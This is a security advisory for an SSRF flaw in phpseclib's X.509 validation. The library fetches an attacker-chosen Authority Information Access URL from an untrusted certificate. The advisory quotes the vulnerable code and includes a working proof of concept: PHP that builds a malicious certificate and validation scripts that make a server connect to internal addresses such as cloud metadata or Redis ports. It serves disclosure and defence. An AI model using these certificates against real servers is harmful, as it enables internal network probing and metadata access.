phpseclib/phpseclib
Affected
- introduced
0.1.1, fixed1.0.30(ecosystem)
Fixed versions
1.0.30
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-55599
phpseclib: X.509 certificate validation sends attacker-controlled outbound requests (server-side request forgery) via Authority Information Access
Summary
When an application validates an untrusted X.509 certificate with phpseclib, X509::validateSignature() reads a URL out of that certificate's Authority Information Access (AIA) extension and connects to it. Attacker who supplies certificate fully controls host, port, and path of that connection. URL fetching is enabled by default, and no destination is blocked. An unauthenticated attacker can therefore make a validating server open connections to internal hosts and ports it should never reach, for example loopback 127.0.0.1, cloud metadata address 169.254.169.254, and internal-only services. This is a server-side request forgery (SSRF) caused by an insecure default. It is reproducible on current released LTS 3.0.53 and on 4.0 development line.
Details
When no already-trusted certificate authority is the issuer of certificate under validation, validateSignatureCountable() continues to AIA fetching. Default for validateSignature() is caonly = true:
// phpseclib/File/X509.php:1316-1327 (4.0 development line, commit 74ada1a6)
if (!isset($signingCert)) {
if ($caonly) {
return $this->testForIntermediate(true, $count) && $this->validateSignature(true);
} else {
try {
$this->testForSelfSigned();
$signingCert = $this;
} catch (BadMethodCallException) {
return $this->testForIntermediate(true, $count) && $this->validateSignature(true);
}
}
}
testForIntermediate() takes URL straight out of certificate's AIA caIssuers field and fetches it. Value comes directly from certificate content and is never restricted:
// phpseclib/File/X509.php:1357-1391 (4.0 development line)
$opts = $this->getExtension('id-pe-authorityInfoAccess');
...
foreach ($opts['extnValue'] as $opt) {
if ($opt['accessMethod'] == 'id-ad-caIssuers') {
if (isset($opt['accessLocation']['uniformResourceIdentifier'])) {
$url = (string) $opt['accessLocation']['uniformResourceIdentifier']; // attacker controlled
break;
}
}
}
...
$cert = static::fetchURL($url); // server-side request forgery
fetchURL() connects to attacker host and port. There is no destination validation: no block on loopback, link-local, private, or metadata ranges, and no port restriction:
// phpseclib/File/X509.php:1456-1476 (4.0 development line)
private static function fetchURL(string $url): ?string
{
if (self::$disable_url_fetch) { // default false, so fetching happens
return null;
}
$parts = parse_url($url);
switch ($parts['scheme']) {
case 'http':
$fsock = @fsockopen($parts['host'], $parts['port'] ?? 80); // attacker host and port
...
fputs($fsock, "GET $path HTTP/1.0\r\n");
fputs($fsock, "Host: $parts[host]\r\n\r\n");
Fetching is on by default:
// phpseclib/File/X509.php:110 (4.0 development line)
private static bool $disable_url_fetch = false;
Same default-enabled logic exists in released 3.0.x. In 3.0.53 it sits at $disable_url_fetch = false on line 255 and fsockopen($parts['host'], ...) on line 1136 of phpseclib/File/X509.php.
Why this is a vulnerability and not merely a feature. AIA chasing is a legitimate capability described by RFC 4325, and this report does not claim fetching is wrong in itself. Vulnerability is the combination of three properties that together match definition of SSRF:
Reachability is not narrow. Fetch triggers whenever certificate's issuer is not already trusted, which an attacker arranges trivially by choosing any issuer name that is not in trust store. Having certificate authorities loaded does not protect a target: an attacker certificate that claims an unknown issuer still reaches testForIntermediate().
Response handling is blind. Fetched body is used only if it parses as a certificate, and is otherwise discarded, so an attacker does not directly read internal responses through this path. That limits confidentiality impact but does not remove request-forgery and reconnaissance capability.
PoC
Two reproductions follow: current released LTS 3.0.53, and 4.0 development line. Malicious certificate is plain PEM and is identical for both, since certificate format is the same across versions.
Build malicious certificate once (this uses 4.0 to build, but any tool that emits an X.509 certificate with an AIA caIssuers URL works):
composer require phpseclib/phpseclib:4.0.x-dev
<?php
require 'vendor/autoload.php';
use phpseclib4\Crypt\RSA;
use phpseclib4\File\X509;
$url = 'http://127.0.0.1:19090/ssrf';
$key = RSA::createKey(2048)->withPadding(RSA::SIGNATURE_PKCS1)->withHash('sha256');
$cert = new X509($key->getPublicKey());
$cert->addDNProp('id-at-commonName', 'attacker-leaf.example');
$cert->setEndDate('lifetime');
$cert->setExtension('id-pe-authorityInfoAccess', [
['accessMethod' => 'id-ad-caIssuers',
'accessLocation' => ['uniformResourceIdentifier' => $url]],
]);
$key->sign($cert);
file_put_contents('attacker_cert.pem', (string) $cert);
Stand up a listener that represents an internal service on a port that is not otherwise reachable from outside:
php -r '$s=stream_socket_server("tcp://127.0.0.1:19090",$e,$m);$c=stream_socket_accept($s,20);echo fread($c,4096);'
Reproduction on released LTS 3.0.53. Install it and have an application validate certificate:
composer require phpseclib/phpseclib:~3.0.0
<?php
require 'vendor/autoload.php';
use phpseclib3\File\X509;
$v = new X509();
$v->loadX509(file_get_contents('attacker_cert.pem'));
$v->validateSignature(); // connects to 127.0.0.1:19090 during validation
Reproduction on 4.0 development line. Same certificate, 4.0 namespace:
<?php
require 'vendor/autoload.php';
use phpseclib4\File\X509;
X509::clearCAStore(); // attacker cert issuer is not trusted
$v = X509::load(file_get_contents('attacker_cert.pem'));
$v->validateSignature(); // connects to 127.0.0.1:19090 during validation
Observed result, on both 3.0.53 and 4.0.x-dev. Listener receives a request whose host, port, and path all come from certificate, even though validateSignature() returns false:
GET /ssrf HTTP/1.0
Host: 127.0.0.1
This was also confirmed end to end over HTTP: an unauthenticated POST of certificate to an endpoint that calls loadX509() then validateSignature() makes server connect outbound to attacker-chosen 127.0.0.1:19090. Changing host and port in certificate reaches any internal address and port, for example 169.254.169.254 or 127.0.0.1:6379.
Medium Basis: The source's own band: MODERATE
0.1.1, fixed 1.0.30 (ecosystem)1.0.30
The export has no generic command for this ecosystem.
2.0.0, fixed 2.0.55 (ecosystem)2.0.55
The export has no generic command for this ecosystem.
3.0.0, fixed 3.0.54 (ecosystem)3.0.54
The export has no generic command for this ecosystem.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0